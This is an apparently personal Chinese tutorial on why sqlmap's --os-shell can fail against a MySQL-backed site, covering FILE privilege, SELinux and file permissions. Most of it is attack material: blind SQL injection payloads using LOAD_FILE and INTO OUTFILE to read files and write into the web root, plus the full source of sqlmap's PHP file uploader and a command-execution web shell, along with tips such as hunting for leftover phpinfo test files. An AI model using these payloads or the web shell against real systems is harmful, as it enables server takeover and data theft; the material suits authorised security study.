SQL注入:为什么拿不到os-shell?
文章目录
权限问题
首先确保注入点的数据库连接用户有FILE权限
使用 --privileges查看
但是
就算有此权限也还有很多问题
SELINUX
因为我的服务器使用的并不是Apache的默认发布目录
所以我把SELINUX禁掉了
按理来说
SELINUX也会对这些操作有影响
mysql文件操作权限
首先说一下Linux的文件权限
chmod命令用于更改文件权限
数字法中
0 无权限
1 可执行
2 可写
4 可读
四个数字随意组合共八种
0 无权限
1 可执行
2 可写
3 可执行/可写
4 可读
5 可执行/可读
6 可写/可读
7 可执行/可写/可读
–file-read
参数是文件路径
服务器上的mysql需要对此文件有5权限(执行/读)
因为它实际执行的函数是
LOAD_FILE('/data/test.txt');
mysql有对 /data/test.txt 的5权限才可以加载
否则就算服务器管理员使用此函数也无法读出文件
–file-write 和 --file-dest
这两个是配合使用的
–file-write的参数是Kali上的完整文件路径
–file-dest的参数是服务器上的完整文件路径
服务器上mysql需要对此文件路径有3权限(可写/可执行)
而且mysql的文件导出路径不能有限制
mysql导出路径
它实际执行的函数是
... INTO OUTFILE '/asdf/sadf/sdfa.txt'
–os-shell
mysql需要对网站发布目录有3权限
以及文件导出路径无限制
实际函数上传了两个php文件,即利用tmpulujm.php上传了一个tmpbtfgo.php的文件
...INTO OUTFILE '/DocumentRoot/asdaa.php'
–file-read
payload
a' AND
ORD(
MID((
IFNULL(
CAST(
HEX(LOAD_FILE(0x2f6879)
) AS CHAR)
,0x20)
),1,1)
)>66 AND 'BHHf'='BHHf
解析
0x2f6879是服务器上带完整路径的文件名
–file-write和–file-dest
payload
a'
LIMIT 0,1
INTO OUTFILE '/hoasdf/sdaf/asdf.txt'
LINES TERMINATED BY
0x50542079536557276967963653d68747
-- -
解析
0x5054…是上传文件的HEX内容
–os-shell
即利用tmpulujm.php上传了一个tmpbtfgo.php的文件
payload
a'
LIMIT 0,1
INTO OUTFILE '/DocumentRoot/tmpuvpaa.php'
LINES TERMINATED BY
0x300a696627365742f524554553545b2275706c6f6164225
-- -
解析
0x300a…是上传php文件的HEX内容
上传的两个php文件内容
a 12
<?php
if (isset($_REQUEST["upload"])){
$dir=$_REQUEST["uploadDir"];
if (phpversion()<'4.1.0'){
$file=$HTTP_POST_FILES["file"]["name"];
@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();
}
else{
$file=$_FILES["file"]["name"];
@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();
}
@chmod($dir."/".$file,0755);
echo "File uploaded";
}
else {
echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/home/www/root/MyWebsite/> <input type=submit name=upload value=upload></form>";
}
?>
<?php
$c=$_REQUEST["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time',0);
$z=@ini_get('disable_functions');
if(!empty($z)){
$z=preg_replace('/[,]/',',',$z);
$z=explode(',',$z);
$z=array_map('trim',$z);
}
else{$z=array();}
$c=$c." 2>&1\n";
function f($n){
global $z;
return is_callable($n)and!in_array($n,$z);
}
if(f('system')){
ob_start();
system($c);
$w=ob_get_contents();
ob_end_clean();
}
elseif(f('proc_open'){
$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
$w=NULL;
while(!feof($t[1])){
$w.=fread($t[1],512);
}
@proc_close($y);
}
elseif(f('shell_exec')){
$w=shell_exec($c);
}
elseif(f('passthru')){
ob_start();
passthru($c);
$w=ob_get_contents();
ob_end_clean();
}
elseif(f('popen')){
$x=popen($c,r);
$w=NULL;
if(is_resource($x)){
while(!feof($x)){
$w.=fread($x,512);
}
}
@pclose($x);
}
elseif(f('exec')){
$w=array();
exec($c,$w);
$w=join(chr(10),$w).chr(10);
}
else{$w=0;}
print "<pre>".$w."</pre>";
?>
退出shell后两文件自动删除
总结
拿到os-shell的条件
- 首先你得知道网站是用什么写的。这个倒是好说,ASP/ASPX/PHP/JSP,很容易看
- 网站的发布目录。这个开发环境中应该都会更改,而不会使用默认的
比如Apache的/var/www/html,这里想说一下某些PHP程序员还有可能写完一个很有用的文件后忘记删掉了,可能叫test.php什么什么的,内容就是一句phpinfo();
找到这个里面会有很多有用的信息 - SELinux。牛逼的管理员会详细配置SELinux,菜鸡如我就只能强制关掉了,SELinux会对数据库对外的操作作限制,特别是针对这种敏感的直接对发布目录进行的操作。
还是得好好看看SELinux啊唉 - 执行权限。上面有详细说明
- 生产环境还会有WAF等防护